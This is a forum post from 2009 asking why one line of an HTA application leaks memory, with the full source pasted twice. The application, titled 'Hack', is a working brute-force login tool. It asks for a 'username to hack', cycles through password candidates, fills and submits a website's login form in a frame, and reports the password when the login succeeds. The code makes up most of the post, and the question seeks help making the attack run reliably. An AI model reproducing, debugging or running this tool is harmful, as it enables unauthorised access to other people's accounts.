fumoboy007
May 3rd 2009, 1:06 pm
Hi all,
I made an HTA file. When I use task manager to look at the amount of memory it is using, it steadily increases as the program continues. If I remove the line document.frames["website"].document.getElementById("ctl00_MainContentPlaceHolder_LogonButton").click();, the memory leak goes away. Why is this line causing the memory leak?
Thanks in advance.
P.S. I removed some private information so the application may not work properly when run.
<?xml version= "1.0"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns= "http://www.w3.org/1999/xhtml">
<head>
<title>Hack</title>
<HTA:APPLICATION
APPLICATIONNAME="Hack"
SCROLL="yes"
SINGLEINSTANCE="yes"
WINDOWSTATE="maximize"
>
<script type= "text/javascript">
var firstTime = true;
var username = "";
var password = "";
var passwordArrayIndices = [0];
var chars = ["a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", " ", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")"];
passwordArrayIndices[0] = 0;
function getUsername()
{
username = prompt("Username to hack:", "");
}
function findPassword()
{
for (i = passwordArrayIndices.length - 1; i >= 0; i--)
{
if (passwordArrayIndices[i] == chars.length)
{
if (i == 0)
{
for (j = passwordArrayIndices.length; j >= 0; j--)
{
passwordArrayIndices[j] = 0;
}
}
else
{
passwordArrayIndices[i] = 0;
passwordArrayIndices[i - 1]++;
}
}
}
for (i = 0; i < passwordArrayIndices.length; i++)
{
password += chars[passwordArrayIndices[i]];
}
if (password.match("&#") != null)
{
checkLogin();
}
else
{
document.frames["website"].document.getElementById("ctl00_MainContentPlaceHolder_UsernameBox").value = username;
document.frames["website"].document.getElementById("ctl00_MainContentPlaceHolder_PWBox").value = password;
document.frames["website"].document.getElementById("ctl00_MainContentPlaceHolder_LogonButton").click();
}
}
function checkLogin()
{
if (!firstTime)
{
if (document.frames["website"].location.href == "http://www.example.com/default.aspx")
{
alert("Username: " + username + "\nPassword: " + password);
}
else
{
password = "";
passwordArrayIndices[passwordArrayIndices.length - 1]++;
findPassword();
}
}
firstTime = false;
}
</script>
</head>
<frameset rows= "1" cols= "1" onload= "getUsername(); findPassword();">
<frame frameborder= "0" id= "website" src= "http://www.example.com/Login.aspx" onload= "checkLogin();" />
</frameset>
</html>
I made an HTA file. When I use task manager to look at the amount of memory it is using, it steadily increases as the program continues. If I remove the line document.frames["website"].document.getElementById("ctl00_MainContentPlaceHolder_LogonButton").click();, the memory leak goes away. Why is this line causing the memory leak?
Thanks in advance.
P.S. I removed some private information so the application may not work properly when run.
<?xml version= "1.0"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns= "http://www.w3.org/1999/xhtml">
<head>
<title>Hack</title>
<HTA:APPLICATION
APPLICATIONNAME="Hack"
SCROLL="yes"
SINGLEINSTANCE="yes"
WINDOWSTATE="maximize"
>
<script type= "text/javascript">
var firstTime = true;
var username = "";
var password = "";
var passwordArrayIndices = [0];
var chars = ["a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", " ", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")"];
passwordArrayIndices[0] = 0;
function getUsername()
{
username = prompt("Username to hack:", "");
}
function findPassword()
{
for (i = passwordArrayIndices.length - 1; i >= 0; i--)
{
if (passwordArrayIndices[i] == chars.length)
{
if (i == 0)
{
for (j = passwordArrayIndices.length; j >= 0; j--)
{
passwordArrayIndices[j] = 0;
}
}
else
{
passwordArrayIndices[i] = 0;
passwordArrayIndices[i - 1]++;
}
}
}
for (i = 0; i < passwordArrayIndices.length; i++)
{
password += chars[passwordArrayIndices[i]];
}
if (password.match("&#") != null)
{
checkLogin();
}
else
{
document.frames["website"].document.getElementById("ctl00_MainContentPlaceHolder_UsernameBox").value = username;
document.frames["website"].document.getElementById("ctl00_MainContentPlaceHolder_PWBox").value = password;
document.frames["website"].document.getElementById("ctl00_MainContentPlaceHolder_LogonButton").click();
}
}
function checkLogin()
{
if (!firstTime)
{
if (document.frames["website"].location.href == "http://www.example.com/default.aspx")
{
alert("Username: " + username + "\nPassword: " + password);
}
else
{
password = "";
passwordArrayIndices[passwordArrayIndices.length - 1]++;
findPassword();
}
}
firstTime = false;
}
</script>
</head>
<frameset rows= "1" cols= "1" onload= "getUsername(); findPassword();">
<frame frameborder= "0" id= "website" src= "http://www.example.com/Login.aspx" onload= "checkLogin();" />
</frameset>
</html>